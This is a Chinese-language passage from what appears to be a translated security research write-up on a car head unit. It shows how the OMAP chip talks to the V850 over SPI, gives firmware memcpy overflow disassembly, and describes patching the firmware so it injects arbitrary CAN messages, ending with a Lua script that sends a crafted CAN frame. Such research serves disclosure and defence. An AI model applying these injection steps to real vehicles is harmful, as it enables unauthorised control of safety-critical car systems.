SPI通讯

优质
小牛编辑
162浏览
2023-12-01

SPI通讯

OMAP芯片会使用一个串行外围接口,实现一个适合的协议,与V850芯片通讯。这个通讯包括了刷新V850芯片,执行DTC操作和发送CAN信息。实际上,这个通讯是在一个高级别上,通过各种服务实现的。在低级别上,可以通过读取和写入‘/dev/spi3’来实现直接通讯。

不过,似乎没有命令能让OMAP芯片来要求V850将数据字节发送给任意CAN ID。但是,V850内置了一系列的命令ID,多数硬编码数据都可以由OMAP芯片发送。作为一名攻击者,我们想要的远不止这些。

SPI信息协议

我们没有完整逆向从OMAP芯片发送到SPI芯片的整个信息协议,但是我们在这列出了一些突出点。

当V850处于更新模式时,通讯和ISO 14230命令类似。如果你在逆向‘iocupdate’二进制细心一点,你就会注意到这一点。下面是发送的一些字节示例:

startDiagnosticSession: 10 85
ecuReset: 11 01
requestTransferExit: 37
requestDownload: 34 00 00 00 00 07 00 00
readEcuIdentification: 1A 87

当v850处于常规模式下时,通讯似乎是复合式的。其中的一些通讯字节指示了信息的长度。信息中的第一个字节实际指示的是 “通道”,其他的字节是数据。在稍微更高的级别中,每个通道都可以通过‘/dev/ipc/ch7’ 访问。

我们并不了解所有的通道,以及这些通道各自的用处。但是其中有一些突出的:

通道 6: ctrlChan, 用于发送预先编好的CAN信息 
通道 7: 与DTC和诊断相关
通道 9: 从V850中获取时间
通道 25: 某种秘钥

获取V850的版本信息

如果你观察‘platform_version.lua’ ,你就会知道如何才能获取到V850上运行的固件版本。如果你通过通道7发送两个特殊的字节,V850就会响应版本信息。

ipc_ch7:write(0xf0, 3)
...
 local function onIpcMessage(msg)
    if msg[1] ~= 240 then
      return
    end
...
    if msg[2] == 3 then
      versions.ioc_app_version = msg[3] .. "." .. msg[4] .. "." .. msg[5]
      ipc_ch7:close()
    end
  end

所以,如果你发送‘F0 03’,预计会返回5个字节,f0, 03, x, y, z;其中版本信息就是x.y.z。你可以通过OMAP芯片上的D-Bus服务来查询版本信息,从而验证这种方法是不是准确的。

service = require "service"
x=service.invoke("com.harman.service.platform", "get_all_versions", {})
print(x, 1)

  app_version: 14.05.3
  ioc_app_version: 14.2.0
  hmi_version: unknown
  eq_version: 14.05.3
  ioc_boot_version: 13.1.0
  nav_version: 13.43.7

V850的编译日期

这里的这个简单的程序就可以获取V850芯片的编译日期:

file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
f = assert(io.open(file, "r+b"))

g:write(0xf0, 0x02)
bytes = f:read(0x18)
print(hex_dump(bytes))

g:close()
f:close()

下面是上述脚本的输出。编译日期是Jan 09 2014, 20:46(2014年1月9日,20:46):

# lua spi.lua

0000: 00 f0 02 42 3a 46 2f 4a ...B:F/J 
0008: 61 6e 20 30 39 20 32 30 an 09 20 
0010: 31 34 2f 32 30 3a 34 36 14/20:46

固件中的V850漏洞

我们已经演示了如何将篡改后的固件刷入到V850中。但是,如果它们使用了加密签名怎么办,或者你想要在不重新编程的前提下,动态地影响V850,从而不留下分析证据?我们简单地浏览一下负责解析V850固件中SPI信息的代码,并确定了一下潜在的漏洞。因为我们不需要这些漏洞,而且也没有V850调试工具,所以我们没有验证这些漏洞,但是这些漏洞似乎是内存崩溃问题。

虽然通过SPI接口来实现攻击的机会并不大,但是由于通讯的受信特性,所以,代码也不都是很安全。在v850应用固件中,SPI处理代码就存在下面的两个bug。

0004A212                 ld.w    -0x7BD8[gp], r16 -- 3ff7534
0004A216                 ld.w    6[r16], r17
0004A21A                 mov     r17, r6
0004A21C                 addi    5, r28, r7
0004A220                 ld.bu   4[r28], r18
0004A224                 mov     r18, r8
0004A226                 jarl    memcpy, lp

在这个代码中,r28指向了通过SPI发送的用户控制数据。这段代码的反编译结果如下:

memcpy(fixed_buffer, attacker_controlled_data, attacker_controlled_len);

是一个类似的栈溢出:

0004A478                 movea   arg_50, sp, r6
0004A47C                 addi    5, r28, r7
0004A480                 ld.bu   4[r28], r10
0004A484                 mov     r10, r8
0004A486                 jarl    memcpy, lp

我们已经在代码库中找到了另外的几个内存崩溃bug,但是没有列在这儿,因为我们的利用过程不需要。

通过V850芯片发送CAN信息

如果你按照我们上述的介绍来修改固件,那么通过修改你就可以从OMAP芯片中发出任意的CAN信息。实现的方式有很多种,但是最简单也最安全的方式是在SPI信息中发送CAN数据,这样信息就会传递给V850中合适的函数。我们选择了SPI通道7上的信息‘F0 02’。和前面的观察一样,这个信息对应的是获取固件的编译日期。我们选用这条命令,是因为我们没有发现任何代码会调用这条命令,所以即便我们搞砸了,也不会造成致命的错误。

处理通道7的函数位于0x4b2c6。处理‘F0 02’的代码从0x4aea4 开始。我们的技术是通过修改固件并跳转到ROM中一个没有使用过的位置,在这里放置上我们选择的任意代码。在代码结束时,我们就把执行返回到初始的位置。

{%}

图-我们在固件中新添加的代码

我们使用的函数是‘can_transmit_msg_1_or_3’ (0x6729c)。这个函数会从92个固定值中选取一个作为参数,这个92个值各自对应了CAN信息阵列中(ID,长度和数据)的一个独立位置。对于大多数值而言,CAN ID是固定的。但是对于某些值来说(39和91为例),它们会从RAM中(不同其他从ROM中读取)读取CAN ID和LEN。

我们的代码会从SPI信息中读取CAN ID,并把CAN ID放到RAM中,从而读取CAN ID的位置(gp- 0x2CC4 )。然后把SPI数据包中的数据复制到RAM中的合适位置。最后,复制数据长度,并把数据长度放到预期位置。我们的代码会调用函数来传输这个信息,然后把一个值设置成r18(由我们的框架代码破坏),并按预期返回。

接着,从头单元中,类似下面的LUA代码会向高速总线和中速总线发送一个CAN信息,分别取决于你使用的是39信息还是91信息。

ipc = require("ipc")
file = '/dev/ipc/ch7'

g = assert(ipc.open(file))
--              f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...

g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)